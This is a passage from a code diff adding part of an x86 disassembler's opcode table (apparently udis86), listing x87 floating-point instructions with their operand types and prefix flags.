*/ { UD_Ifdiv, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0388 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0389 */ { UD_Ifdiv, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0390 */ { UD_Ifdiv, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0391 */ { UD_Ifdiv, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0392 */ { UD_Ifdiv, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0393 */ { UD_Ifdiv, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0394 */ { UD_Ifdiv, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0395 */ { UD_Ifdiv, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0396 */ { UD_Ifdivp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0397 */ { UD_Ifdivp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0398 */ { UD_Ifdivp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0399 */ { UD_Ifdivp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0400 */ { UD_Ifdivp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0401 */ { UD_Ifdivp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0402 */ { UD_Ifdivp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0403 */ { UD_Ifdivp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0404 */ { UD_Ifdivr, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0405 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0406 */ { UD_Ifdivr, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0407 */ { UD_Ifdivr, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0408 */ { UD_Ifdivr, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0409 */ { UD_Ifdivr, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0410 */ { UD_Ifdivr, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0411 */ { UD_Ifdivr, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0412 */ { UD_Ifdivr, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0413 */ { UD_Ifdivr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0414 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0415 */ { UD_Ifdivr, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0416 */ { UD_Ifdivr, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0417 */ { UD_Ifdivr, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0418 */ { UD_Ifdivr, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0419 */ { UD_Ifdivr, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0420 */ { UD_Ifdivr, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0421 */ { UD_Ifdivr, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0422 */ { UD_Ifdivrp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0423 */ { UD_Ifdivrp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0424 */ { UD_Ifdivrp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0425 */ { UD_Ifdivrp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0426 */ { UD_Ifdivrp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0427 */ { UD_Ifdivrp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0428 */ { UD_Ifdivrp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0429 */ { UD_Ifdivrp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0430 */ { UD_Ifemms, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0431 */ { UD_Iffree, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0432 */ { UD_Iffree, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0433 */ { UD_Iffree, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0434 */ { UD_Iffree, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0435 */ { UD_Iffree, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0436 */ { UD_Iffree, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0437 */ { UD_Iffree, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0438 */ { UD_Iffree, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0439 */ { UD_Iffreep, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0440 */ { UD_Iffreep, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0441 */ { UD_Iffreep, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0442 */ { UD_Iffreep, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0443 */ { UD_Iffreep, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0444 */ { UD_Iffreep, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0445 */ { UD_Iffreep, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0446 */ { UD_Iffreep, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0447 */ { UD_Ificom, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0448 */ { UD_Ificom, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0449 */ { UD_Ificomp, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0450 */ { UD_Ificomp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0451 */ { UD_Ifild, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0452 */ { UD_Ifild, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0453 */ { UD_Ifild, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0454 */ { UD_Ifincstp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0455 */ { UD_Ifninit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0456 */ { UD_Ifiadd, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0457 */ { UD_Ifiadd, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0458 */ { UD_Ifidivr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0459 */ { UD_Ifidivr, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0460 */ { UD_Ifidiv, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0461 */ { UD_Ifidiv, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0462 */ { UD_Ifisub, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0463 */ { UD_Ifisub, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0464 */ { UD_Ifisubr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0465 */ { UD_Ifisubr, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0466 */ { UD_Ifist, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0467 */ { UD_Ifist, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0468 */ { UD_Ifistp, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0469 */ { UD_Ifistp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0470 */ { UD_Ifistp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0471 */ { UD_Ifisttp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0472 */ { UD_Ifisttp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0473 */ { UD_Ifisttp, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0474 */ { UD_Ifld, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0475 */ { UD_Ifld, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0476 */ { UD_Ifld, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0477 */ { UD_Ifld, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0478 */ { UD_Ifld, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0479 */ { UD_Ifld, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0480 */ { UD_Ifld, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0481 */ { UD_Ifld, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0482 */ { UD_Ifld, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0483 */ { UD_Ifld, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0484 */ { UD_Ifld, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0485 */ { UD_Ifld1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0486 */ { UD_Ifldl2t, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0487 */ { UD_Ifldl2e, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0488 */ { UD_Ifldpi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0489 */ { UD_Ifldlg2, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0490 */ { UD_Ifldln2, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0491 */ { UD_Ifldz, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0492 */ { UD_Ifldcw, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0493 */ { UD_Ifldenv, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0494 */ { UD_Ifmul, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0495 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0496 */ { UD_Ifmul, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0497 */ { UD_Ifmul, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0498 */ { UD_Ifmul, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0499 */ { UD_Ifmul, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0500 */ { UD_Ifmul, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0501 */ { UD_Ifmul, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0502 */ { UD_Ifmul, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0503 */ { UD_Ifmul, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0504 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0505 */ { UD_Ifmul, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0506 */ { UD_Ifmul, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0507 */ { UD_Ifmul, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0508 */ { UD_Ifmul, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0509 */ { UD_Ifmul, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0510 */ { UD_Ifmul, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0511 */ { UD_Ifmul, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0512 */ { UD_Ifmulp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0513 */ { UD_Ifmulp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0514 */ { UD_Ifmulp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0515 */ { UD_Ifmulp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0516 */ { UD_Ifmulp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0517 */ { UD_Ifmulp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0518 */ { UD_Ifmulp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0519 */ { UD_Ifmulp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0520 */ { UD_Ifimul, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0521 */ { UD_Ifimul, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0522 */ { UD_Ifnop, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0523 */ { UD_Ifndisi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0524 */ { UD_Ifneni, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0525 */ { UD_Ifnsetpm, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0526 */ { UD_Ifpatan, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0527 */ { UD_Ifprem, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0528 */ { UD_Ifprem1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0529 */ { UD_Ifptan, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0530 */ { UD_Ifrndint, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0531 */ { UD_Ifrstor, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0532 */ { UD_Ifrstpm, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0533 */ { UD_Ifnsave, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0534 */ { UD_Ifscale, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0535 */ { UD_Ifsin, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0536 */ { UD_Ifsincos, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0537 */ { UD_Ifsqrt, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0538 */ { UD_Ifstp, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0539 */ { UD_Ifstp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0540 */ { UD_Ifstp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0541 */ { UD_Ifstp, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0542 */ { UD_Ifstp, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0543 */ { UD_Ifstp, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0544 */ { UD_Ifstp, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0545 */ { UD_Ifstp, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0546 */ { UD_Ifstp, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0547 */ { UD_Ifstp, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0548 */ { UD_Ifstp, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0549 */ { UD_Ifstp1, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0550 */ { UD_Ifstp1, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0551 */ { UD_Ifstp1, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0552 */ { UD_Ifstp1, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0553 */ { UD_Ifstp1, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0554 */ { UD_Ifstp1, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0555 */ { UD_Ifstp1, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0556 */ { UD_Ifstp1, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0557 */ { UD_Ifstp8, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0558 */ { UD_Ifstp8, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0559 */ { UD_Ifstp8, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0560 */ { UD_Ifstp8, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0561 */ { UD_Ifstp8, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0562 */ { UD_Ifstp8, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0563 */ { UD_Ifstp8, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0564 */ { UD_Ifstp8, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0565 */ { UD_Ifstp9, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0566 */ { UD_Ifstp9, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0567 */ { UD_Ifstp9, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0568 */ { UD_Ifstp9, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0569 */ { UD_Ifstp9, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0570 */ { UD_Ifstp9, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0571 */ { UD_Ifstp9, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0572 */ { UD_Ifstp9, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0573 */ { UD_Ifst, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0574 */ { UD_Ifst, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0575 */ { UD_Ifst, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0576 */ { UD_Ifst, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0577 */ { UD_Ifst, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0578 */ { UD_Ifst, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0579 */ { UD_Ifst, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0580 */ { UD_Ifst, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0581 */ { UD_Ifst, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0582 */ { UD_Ifst, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0583 */ { UD_Ifnstcw, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0584 */ { UD_Ifnstenv, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0585 */ { UD_Ifnstsw, O_Mw, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0586 */ { UD_Ifnstsw, O_AX, O_NONE, O_NONE, O_NONE, P_none }, + /* 0587 */ { UD_Ifsub, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0588 */ { UD_Ifsub, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0589 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0590 */ { UD_Ifsub, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0591 */ { UD_Ifsub, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0592 */ { UD_Ifsub, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0593 */ { UD_Ifsub, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0594 */ { UD_Ifsub, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0595 */ { UD_Ifsub, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0596 */ { UD_Ifsub, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0597 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0598 */ { UD_Ifsub, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0599 */ { UD_Ifsub, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0600 */ { UD_Ifsub, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0601 */ { UD_Ifsub, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0602 */ { UD_Ifsub, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0603 */ { UD_Ifsub, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0604 */ { UD_Ifsub, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0605 */ { UD_Ifsubp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0606 */ { UD_Ifsubp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0607 */ { UD_Ifsubp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0608 */ { UD_Ifsubp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0609 */ { UD_Ifsubp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0610 */ { UD_Ifsubp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0611 */ { UD_Ifsubp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0612 */ { UD_Ifsubp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0613 */ { UD_Ifsubr, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0614 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0615 */ { UD_Ifsubr, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0616 */ { UD_Ifsubr, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0617 */ { UD_Ifsubr, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0618 */ { UD_Ifsubr, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0619 */ { UD_Ifsubr, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0620 */ { UD_Ifsubr, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0621 */ { UD_Ifsubr, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0622 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0623 */ { UD_Ifsubr, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0624 */ { UD_Ifsubr, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0625 */ { UD_Ifsubr, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0626 */ { UD_Ifsubr, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0627 */ { UD_Ifsubr, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0628 */ { UD_Ifsubr, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0629 */ { UD_Ifsubr, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0630 */ { UD_Ifsubr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0631 */ { UD_Ifsubrp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0632 */ { UD_Ifsubrp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0633 */ { UD_Ifsubrp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0634 */ { UD_Ifsubrp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0635 */ { UD_Ifsubrp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0636 */ { UD_Ifsubrp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0637 */ { UD_Ifsubrp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0638 */ { UD_Ifsubrp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0639 */ { UD_Iftst, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0640 */ { UD_Ifucom, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0641 */ { UD_Ifucom, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0642 */ { UD_Ifucom, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0643 */ { UD_Ifucom, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0644 */ { UD_Ifucom, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0645 */ { UD_Ifucom, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0646 */ { UD_Ifucom, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0647 */ { UD_Ifucom, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0648 */ { UD_Ifucomp, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0649 */ { UD_Ifucomp, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0650 */ { UD_Ifucomp, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0651 */ { UD_Ifucomp, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0652 */ { UD_Ifucomp, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0653 */ { UD_Ifucomp, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0654 */ { UD_Ifucomp, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0655 */ { UD_Ifucomp, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0656 */ { UD_Ifucompp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0657 */ { UD_Ifxam, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0658 */ { UD_Ifxch, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0659 */ { UD_Ifxch, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0660 */ { UD_Ifxch, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0661 */ { UD_Ifxch, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0662 */ { UD_Ifxch, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0663 */ { UD_Ifxch, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0664 */ { UD_Ifxch, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0665 */ { UD_Ifxch, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0666 */ { UD_Ifxch4, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0667 */ { UD_Ifxch4, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0668 */ { UD_Ifxch4, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0669 */ { UD_Ifxch4, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0670 */ { UD_Ifxch4, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0671 */ { UD_Ifxch4, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0672 */ { UD_Ifxch4, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0673 */ { UD_Ifxch4, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0674 */ { UD_Ifxch7, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0675 */ { UD_Ifxch7, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0676 */ { UD_Ifxch7, O_ST2, O_NONE, O_NONE, 